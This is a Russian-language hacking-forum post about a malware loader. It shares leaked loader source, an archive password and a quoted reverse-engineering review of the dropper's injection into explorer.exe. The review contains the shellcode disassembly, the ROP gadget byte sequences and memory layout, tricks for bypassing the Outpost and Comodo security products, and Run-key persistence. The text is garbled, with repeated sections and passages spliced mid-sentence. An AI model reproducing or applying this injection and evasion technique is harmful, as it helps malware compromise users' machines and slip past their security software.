Есть такой лоадер, по крайне мере был, решил собрать все про него в одной теме
https://xss.pro/index.php?topic=23364
Там юзали, довольно успешно, технику инжекта, которую давно еще описал и вроде как придумал Clerk
Потом пендосы благополучно слили частично сорцы это лоадера, их можно взять в аттаче, имейте ввиду я грохнул там GeoIPCity.dat из папки geo дабы уменьшить вес архива
Ares даже писал обзор этого лоадер но как я понял его так и не опубликовали, тут я приведу часть описывающую сам инжект, я не знаю можно ли это вообще постить так что на всякий случай засуну в хайд
В сорцах нету самого сорца обхода есть только obj файл, но это не помешало появится обходу в других ботах smoke, Gapz, почитать про это можно тут
https://wasm.ru/forum/viewtopic.php?id=47083
http://blog.eset.com/2012/12/27/win32gapz-steps-of-evolution
И уж совсем недавно, некто запостил poc инжекта у себя в твитере, среверсив его с Gapz
https://twitter.com/0vercl0k/status/298568434957037568
https://github.com/0vercl0k/stuffz/blob/mas...e_injection.cpp
https://xss.pro/index.php?topic=23364
Там юзали, довольно успешно, технику инжекта, которую давно еще описал и вроде как придумал Clerk
Потом пендосы благополучно слили частично сорцы это лоадера, их можно взять в аттаче, имейте ввиду я грохнул там GeoIPCity.dat из папки geo дабы уменьшить вес архива
Ares даже писал обзор этого лоадер но как я понял его так и не опубликовали, тут я приведу часть описывающую сам инжект, я не знаю можно ли это вообще постить так что на всякий случай засуну в хайд
---===Реверс===---
Для данного обзора очень постарался наш хороший друг и отличный специалист своего дела – Steklo. Данный человек уже неоднократно помогал мне в обзорах и доказывал свои знания общественности. Читаем:
------------------------------------------------------------------------------------------
Поверхностный осмотр
------------------------------------------------------------------------------------------
Исполняемый Файл "dropper.exe.~". Размер 58368 байт. PE32(GUI). Версия компоновщика 10.0.
Имеет таблицу настроек адресов (Relocation Table), таблицу импорта (Import Table) и экспорта
(Export Table).
Исследование
------------------------------------------------------------------------------------------
Содержащаяся в исполняемом файле "dropper.exe.~" (Он же "sdropper32.exe") программа читает
значение "MachineGuid" ветки реестра "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography".
Полученная строчка используется для генерации имен мьютексов и т.п. Далее осуществляется
проверка на повторный запуск и если она проходит успешно то создается ветка реестра
"HKEY_CURRENT_USER\SOFTWARE\bdebeabcfcdsacfsfdsf" со значением "CurrentPath"
которому присваевается путь к исполняемому файлу.
Затем программа пытается открыть одну из секций которые отображены во всех процессах:
"\BaseNamedObjects\ShimSharedMemory"
"\BaseNamedObjects\windows_shell_global_counters"
"\BaseNamedObjects\MSCTF.Shared.SFM.MIH"
"\BaseNamedObjects\MSCTF.Shared.SFM.AMF"
"\BaseNamedObjects\UrlZonesSM_Administrator"
"\BaseNamedObjects\UrlZonesSM_SYSTEM"
В моем случае открылась "\BaseNamedObjects\ShimSharedMemory".
Изменение памяти в такой секции приводят к изминению этой памяти во всех процессах. Можно
одним действием записать свой код разом во все процессы.
В конец открытой секции дописывается шелл-код адрес начала и конца которого экспортируется
как "InjectedShellCodeStart" и "InjectedShellCodeEnd". А так же адреса некоторых функций с
которыми работает шелл-код и прочие данные необходимые для работы.
32-битный шелл-код (81 байт) находится рядом с отчетом и называется "shellcode.bin".
И вот собственно копия памяти отображенной секции со скопированным программой шелл-кодом и
другими инициализированными данными.
Все размещается в деапазоне 00B00EСF-00B00FEF. Базовый адрес отображения секции: 00B00000.
До того как сдесь поработала программа весь диапазон 00B00EСF-00B00FEF был пуст.
Эта секция в процессе "explorer.exe" отображена по адресу 0AB0000 поэтому значения которые
в списке начинается с 0AB**** это в процессе "explorer.exe" те же адреса которые в
процессе программы начинаются с 0B0****.
Далее программа открывает процесс "explorer.exe" но сначало проверяет наличие процесса c
именем "op_mon.exe" (Outpost User Interface) который может помешать открыть "explorer.exe"
либо оповестит пользователя поэтому в случае его присутствия проделывается такой трюк:
Программа открывает процесс "explorer.exe" с помощью функции "ZwOpenProcess".
ZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);
И последний параметр ("ClientId") передает через страницу памяти на которую ставит атрибут
"PAGE_GUARD". Outpost перехватывает "ZwOpenProcess" в нулевом кольце и читает "ClientId"
что бы проверить какой процесс открывает программа. И в этот момент происходит исключение.
Так как установлен атрибут "PAGE_GUARD". Драйвер Outpost в случае исключения автоматически
принимает передаваемые параметры за инвалидные и передает управление дальше в ядро которое
снимает атрибут "PAGE_GUARD" и открывает процесс "explorer.exe".
Если Outpost не установлен то процесс открывается с помощью функции "OpenProcess".
И наоборот если не удалось открыть процесс с помомщью функции "OpenProcess" (Комодо любит
это запрещять) то процесс открывается через "ZwOpenProcess" с "ClientId" в "PAGE_GUARD".
За тем программа сканирует адресное пространство процесса "explorer.exe" с помощью функций
"VirtualQueryEx" и "ReadProcessMemory" с целью найти адрес по которому в этом процессе
отображена общая секция в которую он записал шелл-код. Далее сканируются модули открытого
процесса "explorer.exe" пока не будет найден модуль в одной из секции которого есть байты:
FCh, 3Ch. Которые в коце концов были найдны в модуле "ntdll.dll" открытого "explorer.exe".
После этого программа ищет еще одну последовательность байт: B9h, 94h, 00h, 00h, 00h, F3h,
A5h, 5Fh, 33h, C0h, 5Eh, 5Dh, C2h, 08h, 00h. Они были найдены в "shell32.dll". Напоследок
были найдены байты: FCh, C3h в "kernel32.dll". И последовательности байт: 58h, C3h. И FFh,
E0h в самом модуле "explorer.exe" процесса "explorer.exe". Адреса найденных данных нужны
для реализации обхода и сохраняются в секции с шелл-кодом.
Что же он нашел в чужом процессе?
Зачем это все нужно станет понятно чуть позже.
И так все готово для запуска обхода. Программа нашла и открыла одну из общих с процессом
"explorer.exe" секций и записала в нее шелл-код который после этого соотвественно попал и
в "explorer.exe" вместе с данными окружения шелл-кода. К ним относятся и адреса найденных
последовательностей байт. За тем программа находит окно "Shell_TrayWnd" и вызывает функцию
"GetWindowLong" с параметром 0 а в ответ получает адрес переменной в памяти "explorer.exe"
в которой находится адрес обрабочика имеющего отношение к процедуре окна "Shell_TrayWnd" и
этот адрес заменяется с помощью функции "SetWindowLong" с параметром 0 и адресом который
указывает на переменную находящуюся в общей с процессом "explorer.exe" секций в которую
программа записала шелл-код и которая указывает уже на обработчик поставленный программой.
После этого программа создает секцию в которую копирует образ своего исполняемого файла и
посылает сообщение "WM_PAINT" процедуре окна "Shell_TrayWnd". В процессе "exlorer.exe" тут
же срабатывает шелл-код вместо старого обработчика который открывает созданную программой
секцию с образом своего исполняемого файла и отображает ее в память. Потом создается поток
и программа в секции с исполняемым файлом начинает работать. Шелл-код заменяет адрес
своего обработчика на адрес старого обработчика. И все. Код внедрен все подчищено. А сам
процесс программы завершает свою работу.
Что именно происходит после замены адреса переменной указывающей на адрес обраточика с
помощью функции "GetWindowLong" с паметром 0 и хендлом окна "Shell_TrayWnd"?
В процессе "explorer.exe" в процедуре окна "Shell_TrayWnd" в момент получения сообщения
"WM_PAINT" происходит чтение подменненого программой адреса 00B00F4F который указывает на
переменную содержащую адрес 00B00F63 который указывает на адресс "KiUserApcDispatcher". И
за тем происходит вызов "KiUserApcDispatcher". Ниже это показано.
По адресу 00B00F63 находятся несколько адресов подряд которые вызывает процедура окна.
Содежимое памяти с адреса 00B00F63 как и содержимое вызываемых функций можно посмотреть в
таблицах выше. Оно было сконфигурировано программой что бы подсунуть процедуре окна левые
функции которые помогут подменить содержимое стека и запустить шелл-код.
Что за адреса ntdll.7C94D0CB и SHELL32.7C9EE6AE и прочие и что там находится смотреть в
таблицах выше. "KiUserApcDispatcher" в данном случае просто выталкивает адрес возврата и
и переходит обратно в код из таблицы выше втолкнув в стек своим call адрес ntdll.7C90E437.
А так же в регистр EDI был помещен указатель на буфер в стеке куда позже будут скопированы
специально тонко подобранные данные из секции с шелл-кодом.
Далее после вызова "KiUserApcDispatcher" процедура окна вызывает следующую функция которую
программа не так давно нашла сама в "ntdll.dll". Она находится по адресу ntdll.7C94D0CB
и просто устанавливает флаг направления(DF). Саму процедуру искать по соотвествующему
адресу в таблицах выше.
Теперь наступает моменты истины. Вызывается функция SHELL32.7C9EE6AE которая копирует
данные из секции с шелл-кодом в стек. Установлен флажок DF поэтому копирование происходит
сверху внизу. В стеке появляется кусок данных из секции с шелл-кодом 00B00ECF - 00B00F4F.
В связи с чем по возврату из функции SHELL32.7C9EE6AE инструкция ret делает переход на
функцию kernel32.7C81C3D6 которая сбразывает флажок DF и вместо возврата попадает на новую
функцию в "explorer.exe" 0101177C. Которая выталкивает параметр и вместо возврата попадает
на ntdll._chkstk которая по окончанию работы опять вместо возварата вызывает функцию
"kernel32.WriteProcessMemory" с соотвествующимим параметрами. Следите по скопированному в
стек куску памяти что бы не запутатся. Все скачки по функциям происходят благодаря тонко
подобранным функциям и данным которые были скопировано в стек. Какждая функция вместо
возврата вызывает новую а стек просто зарание содержит все параметры. Шелл-код был записан
функцией "kernel32.WriteProcessMemory" на место функции "ntdll.atan".
Вот часть данных из таблиц выше которые были скопированы в стек.
С этимим параметрами и вызывается "WriteProcessMemory". По окончанию ее работы в конце
концов EIP сначало попадает на подобранную функцию которая в очередной раз выталкивает в
EAX очередной подобранный адрес из стека и вместо возврата попадает на адрес 01002080 где
находится JMP EAX и шелл-код запускается.
Сам шелл-код открывает созданную программой секцию в которую она записала образ
исполняемого файла. Отбражает ее в память и создает новый поток. А на последок возвращяет
прежний адрес указывающий на обработчики с помощью функции "SetWindowLong" с параметром 0.
И "explorer.exe" раюботает как и прежде только теперь в его процессе появился новый код и
поток. Затертый код функции "ntdll.atan" востанавливается программой сразу после внедрения
в "explorer.exe".
Исполняемый файл копируется в "Application Data" и ставится на автозагрузку в Run ветку
реестра. Что с учетом обходов пройдет безпалевно. Далее программа начинает парсить свой
конфиг и работает с сетью. Что дальше происходит и так понятно - скачка и запуск файлов.
Подобным образом программа работает на win xp и win 7 вне зависимости от разрядности. Так
как все предусмотренно и под 64-битными системами в "explorer.exe" внедряется 64-битный
вариант исполняемого файла который извлекается из секции ".cfg" 32-битного исполняемого
файла.
Для данного обзора очень постарался наш хороший друг и отличный специалист своего дела – Steklo. Данный человек уже неоднократно помогал мне в обзорах и доказывал свои знания общественности. Читаем:
------------------------------------------------------------------------------------------
Поверхностный осмотр
------------------------------------------------------------------------------------------
Исполняемый Файл "dropper.exe.~". Размер 58368 байт. PE32(GUI). Версия компоновщика 10.0.
Имеет таблицу настроек адресов (Relocation Table), таблицу импорта (Import Table) и экспорта
(Export Table).
Исследование
------------------------------------------------------------------------------------------
Содержащаяся в исполняемом файле "dropper.exe.~" (Он же "sdropper32.exe") программа читает
значение "MachineGuid" ветки реестра "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography".
Полученная строчка используется для генерации имен мьютексов и т.п. Далее осуществляется
проверка на повторный запуск и если она проходит успешно то создается ветка реестра
"HKEY_CURRENT_USER\SOFTWARE\bdebeabcfcdsacfsfdsf" со значением "CurrentPath"
которому присваевается путь к исполняемому файлу.
Затем программа пытается открыть одну из секций которые отображены во всех процессах:
"\BaseNamedObjects\ShimSharedMemory"
"\BaseNamedObjects\windows_shell_global_counters"
"\BaseNamedObjects\MSCTF.Shared.SFM.MIH"
"\BaseNamedObjects\MSCTF.Shared.SFM.AMF"
"\BaseNamedObjects\UrlZonesSM_Administrator"
"\BaseNamedObjects\UrlZonesSM_SYSTEM"
В моем случае открылась "\BaseNamedObjects\ShimSharedMemory".
Изменение памяти в такой секции приводят к изминению этой памяти во всех процессах. Можно
одним действием записать свой код разом во все процессы.
В конец открытой секции дописывается шелл-код адрес начала и конца которого экспортируется
как "InjectedShellCodeStart" и "InjectedShellCodeEnd". А так же адреса некоторых функций с
которыми работает шелл-код и прочие данные необходимые для работы.
32-битный шелл-код (81 байт) находится рядом с отчетом и называется "shellcode.bin".
И вот собственно копия памяти отображенной секции со скопированным программой шелл-кодом и
другими инициализированными данными.
Все размещается в деапазоне 00B00EСF-00B00FEF. Базовый адрес отображения секции: 00B00000.
До того как сдесь поработала программа весь диапазон 00B00EСF-00B00FEF был пуст.
Эта секция в процессе "explorer.exe" отображена по адресу 0AB0000 поэтому значения которые
в списке начинается с 0AB**** это в процессе "explorer.exe" те же адреса которые в
процессе программы начинаются с 0B0****.
Код:
--------------------------------------------------------------------------
Начало связанных с шелл-кодом данных
----------+----------+----------------------------------------------------
Адрес | Значение | Комментарий
----------+----------+----------------------------------------------------
00B00ECF | 00000000 |
00B00ED3 | 00000000 |
00B00ED7 | 00000000 |
00B00EDB | 00000000 |
00B00EDF | 0101177C | explorer.0101177C
00B00EE3 | FFFFFFFF |
00B00EE7 | 7C901934 | ntdll.atan
00B00EEB | 00AB0F9F |
00B00EEF | 00000051 |
00B00EF3 | 00AB0EFF |
00B00EF7 | 7C901934 | ntdll.atan
00B00EFB | 01002080 | explorer.01002080
00B00EFF | 00000000 |
00B00F03 | 00000000 |
00B00F07 | 00AB0F6F |
00B00F0B | 00000000 |
00B00F0F | 00000000 |
00B00F13 | 00000000 |
00B00F17 | 00000000 |
00B00F1B | 00000000 |
00B00F1F | 00000000 |
00B00F23 | 00000000 |
00B00F27 | 00000000 |
00B00F2B | 00000000 |
00B00F2F | 00000000 |
00B00F33 | 7C81C3D6 | kernel32.7C81C3D6
00B00F37 | 00000000 |
00B00F3B | 00000000 |
00B00F3F | 0101177C | explorer.0101177C
00B00F43 | 00000070 |
00B00F47 | 7C9015F8 | ntdll._chkstk
00B00F4B | 7C802213 | kernel32.WriteProcessMemory
00B00F4F | 00AB0F63 |
00B00F53 | 00000000 |
00B00F57 | 00000000 |
00B00F5B | 00000000 |
00B00F5F | 00000000 |
00B00F63 | 7C90E430 | ntdll.KiUserApcDispatcher
00B00F67 | 7C9EE6AE | SHELL32.7C9EE6AE
00B00F6B | 7C94D0CB | ntdll.7C94D0CB
00B00F6F | 7C80BC06 | kernel32.OpenFileMappingA
00B00F73 | 7C80B995 | kernel32.MapViewOfFile
00B00F77 | 7C809BD7 | kernel32.CloseHandle
00B00F7B | 7C8106C7 | kernel32.CreateThread
00B00F7F | 7E37C29D | USER32.SetWindowLongA
00B00F83 | 34646238 | / Имя секции с образом испольяемого
00B00F87 | 65376265 | | файла которая была отображена
00B00F8B | 0000002D | \ в процесс "explorer.exe".
00B00F8F | 010460F8 | explorer.010460F8
00B00F93 | 00140080 |
00B00F97 | 0000417E |
00B00F9B | 00000000 |
----------+----------+----------------------------------------------------
Код:
Непосредственно шелл-код
----------+----------+--------------------------------------+-------------
Адрес | Байт код | Инструкции | Комментарий
----------+----------+--------------------------------------+-------------
00B00F9F | 8BEC | MOV EBP,ESP |
00B00FA1 | 8B7508 | MOV ESI,DWORD PTR SS:[EBP+8] |
00B00FA4 | 33DB | XOR EBX,EBX |
00B00FA6 | 385E2C | CMP BYTE PTR DS:[ESI+2C],BL |
00B00FA9 | 7532 | JNZ SHORT 00B00FDD |
00B00FAB | 8D4614 | LEA EAX,DWORD PTR DS:[ESI+14] |
00B00FAE | 50 | PUSH EAX | / LPCTSTR lpName
00B00FAF | 53 | PUSH EBX | | BOOL bInheritHandle
00B00FB0 | 6A26 | PUSH 26 | | DWORD dwDesiredAccess
00B00FB2 | C6462C01 | MOV BYTE PTR DS:[ESI+2C],1 | |
00B00FB6 | FF16 | CALL DWORD PTR DS:[ESI] | \ kernel32.OpenFileMappingA
00B00FB8 | 8BF8 | MOV EDI,EAX |
00B00FBA | 3BFB | CMP EDI,EBX |
00B00FBC | 741F | JE SHORT 00B00FDD |
00B00FBE | 53 | PUSH EBX | / SIZE_T dwNumberOfBytesToMap
00B00FBF | 53 | PUSH EBX | | DWORD dwFileOffsetLow
00B00FC0 | 53 | PUSH EBX | | DWORD dwFileOffsetHigh
00B00FC1 | 6A26 | PUSH 26 | | DWORD dwDesiredAccess
00B00FC3 | 57 | PUSH EDI | | HANDLE hFileMappingObject
00B00FC4 | FF5604 | CALL DWORD PTR DS:[ESI+4] | \ kernel32.MapViewOfFile
00B00FC7 | 3BC3 | CMP EAX,EBX |
00B00FC9 | 740E | JE SHORT 00B00FD9 |
00B00FCB | 8B4E28 | MOV ECX,DWORD PTR DS:[ESI+28] |
00B00FCE | 53 | PUSH EBX | / LPDWORD lpThreadId
00B00FCF | 53 | PUSH EBX | | DWORD dwCreationFlags
00B00FD0 | 50 | PUSH EAX | | LPVOID lpParameter
00B00FD1 | 03C8 | ADD ECX,EAX | |
00B00FD3 | 51 | PUSH ECX | | LPTHREAD_START_ROUTINE lpStartAddress
00B00FD4 | 53 | PUSH EBX | | SIZE_T dwStackSize
00B00FD5 | 53 | PUSH EBX | | LPSECURITY_ATTRIBUTES lpThreadAttributes
00B00FD6 | FF560C | CALL DWORD PTR DS:[ESI+C] | \ kernel32.CreateThread
00B00FD9 | 57 | PUSH EDI | / HANDLE hObject
00B00FDA | FF5608 | CALL DWORD PTR DS:[ESI+8] | \ kernel32.CloseHandle
00B00FDD | FF7620 | PUSH DWORD PTR DS:[ESI+20] | / LONG dwNewLong
00B00FE0 | 53 | PUSH EBX | | int nIndex
00B00FE1 | FF7624 | PUSH DWORD PTR DS:[ESI+24] | | HWND hWnd
00B00FE4 | FF5610 | CALL DWORD PTR DS:[ESI+10] | \ shell32.SetWindowLongA
00B00FE7 | 33C0 | XOR EAX,EAX |
00B00FE9 | 83C454 | ADD ESP,54 |
00B00FEC | 5D | POP EBP |
00B00FED | C21000 | RETN 10 |
----------+----------+--------------------------------------+-------------
Конец шелл-кода и всех прочих связанных с ним данных
--------------------------------------------------------------------------именем "op_mon.exe" (Outpost User Interface) который может помешать открыть "explorer.exe"
либо оповестит пользователя поэтому в случае его присутствия проделывается такой трюк:
Программа открывает процесс "explorer.exe" с помощью функции "ZwOpenProcess".
ZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);
И последний параметр ("ClientId") передает через страницу памяти на которую ставит атрибут
"PAGE_GUARD". Outpost перехватывает "ZwOpenProcess" в нулевом кольце и читает "ClientId"
что бы проверить какой процесс открывает программа. И в этот момент происходит исключение.
Так как установлен атрибут "PAGE_GUARD". Драйвер Outpost в случае исключения автоматически
принимает передаваемые параметры за инвалидные и передает управление дальше в ядро которое
снимает атрибут "PAGE_GUARD" и открывает процесс "explorer.exe".
Если Outpost не установлен то процесс открывается с помощью функции "OpenProcess".
И наоборот если не удалось открыть процесс с помомщью функции "OpenProcess" (Комодо любит
это запрещять) то процесс открывается через "ZwOpenProcess" с "ClientId" в "PAGE_GUARD".
За тем программа сканирует адресное пространство процесса "explorer.exe" с помощью функций
"VirtualQueryEx" и "ReadProcessMemory" с целью найти адрес по которому в этом процессе
отображена общая секция в которую он записал шелл-код. Далее сканируются модули открытого
процесса "explorer.exe" пока не будет найден модуль в одной из секции которого есть байты:
FCh, 3Ch. Которые в коце концов были найдны в модуле "ntdll.dll" открытого "explorer.exe".
После этого программа ищет еще одну последовательность байт: B9h, 94h, 00h, 00h, 00h, F3h,
A5h, 5Fh, 33h, C0h, 5Eh, 5Dh, C2h, 08h, 00h. Они были найдены в "shell32.dll". Напоследок
были найдены байты: FCh, C3h в "kernel32.dll". И последовательности байт: 58h, C3h. И FFh,
E0h в самом модуле "explorer.exe" процесса "explorer.exe". Адреса найденных данных нужны
для реализации обхода и сохраняются в секции с шелл-кодом.
Что же он нашел в чужом процессе?
Код:
--------------------------------------------------------------------------
Первые два байта найденные в "ntdll.dll"
----------+-------------+--------------------+----------------------------
Адрес | Байт код | Инструкции | Комментарий
----------+-------------+--------------------+----------------------------
7C94D0CB | FD | STD |
7C94D0CC | C3 | RETN |
----------+-------------+--------------------+----------------------------
Следующие шестнадцать байт найденные в "shell32.dll"
----------+-------------+--------------------+----------------------------
7C9EE6AE | B994000000 | MOV ECX,94 |
7C9EE6B3 | F3A5 | REP MOVSD |
7C9EE6B5 | 5F | POP EDI |
7C9EE6B6 | 33C0 | XOR EAX,EAX |
7C9EE6B8 | 5E | POP ESI |
7C9EE6B9 | 5D | POP EBP |
7C9EE6BA | C20800 | RETN 8 |
----------+-------------+--------------------+----------------------------
Байты найденные в "kernel32"
----------+-------------+--------------------+----------------------------
7C81C3D6 | FC | CLD |
7C81C3D7 | C3 | RETN |
----------+-------------+--------------------+----------------------------
Байты найденные в "explorer.exe"
----------+-------------+--------------------+----------------------------
0101177C | 58 | POP EAX |
0101177D | C3 | RETN |
----------+-------------+--------------------+----------------------------
01002080 | FFE0 | JMP EAX |
----------+-------------+--------------------+----------------------------И так все готово для запуска обхода. Программа нашла и открыла одну из общих с процессом
"explorer.exe" секций и записала в нее шелл-код который после этого соотвественно попал и
в "explorer.exe" вместе с данными окружения шелл-кода. К ним относятся и адреса найденных
последовательностей байт. За тем программа находит окно "Shell_TrayWnd" и вызывает функцию
"GetWindowLong" с параметром 0 а в ответ получает адрес переменной в памяти "explorer.exe"
в которой находится адрес обрабочика имеющего отношение к процедуре окна "Shell_TrayWnd" и
этот адрес заменяется с помощью функции "SetWindowLong" с параметром 0 и адресом который
указывает на переменную находящуюся в общей с процессом "explorer.exe" секций в которую
программа записала шелл-код и которая указывает уже на обработчик поставленный программой.
После этого программа создает секцию в которую копирует образ своего исполняемого файла и
посылает сообщение "WM_PAINT" процедуре окна "Shell_TrayWnd". В процессе "exlorer.exe" тут
же срабатывает шелл-код вместо старого обработчика который открывает созданную программой
секцию с образом своего исполняемого файла и отображает ее в память. Потом создается поток
и программа в секции с исполняемым файлом начинает работать. Шелл-код заменяет адрес
своего обработчика на адрес старого обработчика. И все. Код внедрен все подчищено. А сам
процесс программы завершает свою работу.
Что именно происходит после замены адреса переменной указывающей на адрес обраточика с
помощью функции "GetWindowLong" с паметром 0 и хендлом окна "Shell_TrayWnd"?
В процессе "explorer.exe" в процедуре окна "Shell_TrayWnd" в момент получения сообщения
"WM_PAINT" происходит чтение подменненого программой адреса 00B00F4F который указывает на
переменную содержащую адрес 00B00F63 который указывает на адресс "KiUserApcDispatcher". И
за тем происходит вызов "KiUserApcDispatcher". Ниже это показано.
По адресу 00B00F63 находятся несколько адресов подряд которые вызывает процедура окна.
Содежимое памяти с адреса 00B00F63 как и содержимое вызываемых функций можно посмотреть в
таблицах выше. Оно было сконфигурировано программой что бы подсунуть процедуре окна левые
функции которые помогут подменить содержимое стека и запустить шелл-код.
Код:
--------------------------------------------------------------------------
Процедура онка "Shell_TrayWnd"
----------+--------------+--------------------------------------+---------
Адрес | Байт код | Инструкции | Комментарий
----------+--------------+--------------------------------------+---------
01001B1D | 8BFF | MOV EDI,EDI |
01001B1F | 55 | PUSH EBP |
01001B20 | 8BEC | MOV EBP,ESP |
01001B22 | 53 | PUSH EBX |
01001B23 | 56 | PUSH ESI |
01001B24 | 57 | PUSH EDI |
01001B25 | 8B7D0C | MOV EDI,DWORD PTR SS:[EBP+C] |
01001B28 | BB81000000 | MOV EBX,81 |
01001B2D | 3BFB | CMP EDI,EBX |
01001B2F | 0F843A1F0100 | JE explorer.01013A6F |
01001B35 | 8B5D08 | MOV EBX,DWORD PTR SS:[EBP+8] |
01001B38 | 53 | PUSH EBX |
01001B39 | E8A8FFFFFF | CALL explorer.01001AE6 |
01001B3E | 8BF0 | MOV ESI,EAX |
01001B40 | 85F6 | TEST ESI,ESI |
01001B42 | 0F84ED2C0200 | JE explorer.01024835 |
01001B48 | 8B06 | MOV EAX,DWORD PTR DS:[ESI] | EAX = 00B00F63; ESI = 00B00F4F
01001B4A | 56 | PUSH ESI |
01001B4B | FF10 | CALL DWORD PTR DS:[EAX] | EAX = 00B00F63; 00B00F63 + 0 = 00B00F63; ntdll.KiUserApcDispatcher
01001B4D | FF7514 | PUSH DWORD PTR SS:[EBP+14] |
01001B50 | 8B06 | MOV EAX,DWORD PTR DS:[ESI] |
01001B52 | FF7510 | PUSH DWORD PTR SS:[EBP+10] |
01001B55 | 8BCE | MOV ECX,ESI |
01001B57 | 57 | PUSH EDI |
01001B58 | 53 | PUSH EBX |
01001B59 | FF5008 | CALL DWORD PTR DS:[EAX+8] | EAX = 00B00F63; 00B00F63 + 8 = 00B00F6B; ntdll.7C94D0CB
01001B5C | 81FF82000000 | CMP EDI,82 |
01001B62 | 894514 | MOV DWORD PTR SS:[EBP+14],EAX |
01001B65 | 0F84B72C0200 | JE explorer.01024822 |
01001B6B | 8B06 | MOV EAX,DWORD PTR DS:[ESI] |
01001B6D | 56 | PUSH ESI |
01001B6E | FF5004 | CALL DWORD PTR DS:[EAX+4] | EAX = 00B00F63; 00B00F63 + 4 = 00B00F67; SHELL32.7C9EE6AE
01001B71 | 8B4514 | MOV EAX,DWORD PTR SS:[EBP+14] |
01001B74 | 5F | POP EDI |
01001B75 | 5E | POP ESI |
01001B76 | 5B | POP EBX |
01001B77 | 5D | POP EBP |
01001B78 | C21000 | RETN 10 |
----------+--------------+--------------------------------------+---------таблицах выше. "KiUserApcDispatcher" в данном случае просто выталкивает адрес возврата и
и переходит обратно в код из таблицы выше втолкнув в стек своим call адрес ntdll.7C90E437.
А так же в регистр EDI был помещен указатель на буфер в стеке куда позже будут скопированы
специально тонко подобранные данные из секции с шелл-кодом.
Код:
--------------------------------------------------------------------------
KiUserApcDispatcher
----------+--------------+-------------------------------+----------------
Адрес | Байт код | Инструкции | Комментарий
----------+--------------+-------------------------------+----------------
7C90E430 | 8D7C2410 | LEA EDI,DWORD PTR SS:[ESP+10] |
7C90E434 | 58 | POP EAX |
7C90E435 | FFD0 | CALL EAX |
7C90E437 | 6A01 | PUSH 1 |
7C90E439 | 57 | PUSH EDI |
7C90E43A | E801ECFFFF | CALL ntdll.ZwContinue |
7C90E43F | 90 | NOP |
7C90E440 | 83C404 | ADD ESP,4 |
7C90E443 | 5A | POP EDX |
7C90E444 | 64A118000000 | MOV EAX,DWORD PTR FS:[18] |
7C90E44A | 8B4030 | MOV EAX,DWORD PTR DS:[EAX+30] |
7C90E44D | 8B402C | MOV EAX,DWORD PTR DS:[EAX+2C] |
7C90E450 | FF1490 | CALL DWORD PTR DS:[EAX+EDX*4] |
7C90E453 | 33C9 | XOR ECX,ECX |
7C90E455 | 33D2 | XOR EDX,EDX |
7C90E457 | CD2B | INT 2B |
----------+--------------+-------------------------------+----------------программа не так давно нашла сама в "ntdll.dll". Она находится по адресу ntdll.7C94D0CB
и просто устанавливает флаг направления(DF). Саму процедуру искать по соотвествующему
адресу в таблицах выше.
Теперь наступает моменты истины. Вызывается функция SHELL32.7C9EE6AE которая копирует
данные из секции с шелл-кодом в стек. Установлен флажок DF поэтому копирование происходит
сверху внизу. В стеке появляется кусок данных из секции с шелл-кодом 00B00ECF - 00B00F4F.
В связи с чем по возврату из функции SHELL32.7C9EE6AE инструкция ret делает переход на
функцию kernel32.7C81C3D6 которая сбразывает флажок DF и вместо возврата попадает на новую
функцию в "explorer.exe" 0101177C. Которая выталкивает параметр и вместо возврата попадает
на ntdll._chkstk которая по окончанию работы опять вместо возварата вызывает функцию
"kernel32.WriteProcessMemory" с соотвествующимим параметрами. Следите по скопированному в
стек куску памяти что бы не запутатся. Все скачки по функциям происходят благодаря тонко
подобранным функциям и данным которые были скопировано в стек. Какждая функция вместо
возврата вызывает новую а стек просто зарание содержит все параметры. Шелл-код был записан
функцией "kernel32.WriteProcessMemory" на место функции "ntdll.atan".
Вот часть данных из таблиц выше которые были скопированы в стек.
Код:
00B00EDF | 0101177C | explorer.0101177C
00B00EE3 | FFFFFFFF |
00B00EE7 | 7C901934 | ntdll.atan
00B00EEB | 00AB0F9F |
00B00EEF | 00000051 |
00B00EF3 | 00AB0EFF |концов EIP сначало попадает на подобранную функцию которая в очередной раз выталкивает в
EAX очередной подобранный адрес из стека и вместо возврата попадает на адрес 01002080 где
находится JMP EAX и шелл-код запускается.
Сам шелл-код открывает созданную программой секцию в которую она записала образ
исполняемого файла. Отбражает ее в память и создает новый поток. А на последок возвращяет
прежний адрес указывающий на обработчики с помощью функции "SetWindowLong" с параметром 0.
И "explorer.exe" раюботает как и прежде только теперь в его процессе появился новый код и
поток. Затертый код функции "ntdll.atan" востанавливается программой сразу после внедрения
в "explorer.exe".
Исполняемый файл копируется в "Application Data" и ставится на автозагрузку в Run ветку
реестра. Что с учетом обходов пройдет безпалевно. Далее программа начинает парсить свой
конфиг и работает с сетью. Что дальше происходит и так понятно - скачка и запуск файлов.
Подобным образом программа работает на win xp и win 7 вне зависимости от разрядности. Так
как все предусмотренно и под 64-битными системами в "explorer.exe" внедряется 64-битный
вариант исполняемого файла который извлекается из секции ".cfg" 32-битного исполняемого
файла.
В сорцах нету самого сорца обхода есть только obj файл, но это не помешало появится обходу в других ботах smoke, Gapz, почитать про это можно тут
https://wasm.ru/forum/viewtopic.php?id=47083
http://blog.eset.com/2012/12/27/win32gapz-steps-of-evolution
И уж совсем недавно, некто запостил poc инжекта у себя в твитере, среверсив его с Gapz
https://twitter.com/0vercl0k/status/298568434957037568
https://github.com/0vercl0k/stuffz/blob/mas...e_injection.cpp
password: S*E&DBFtn2r2f22gf
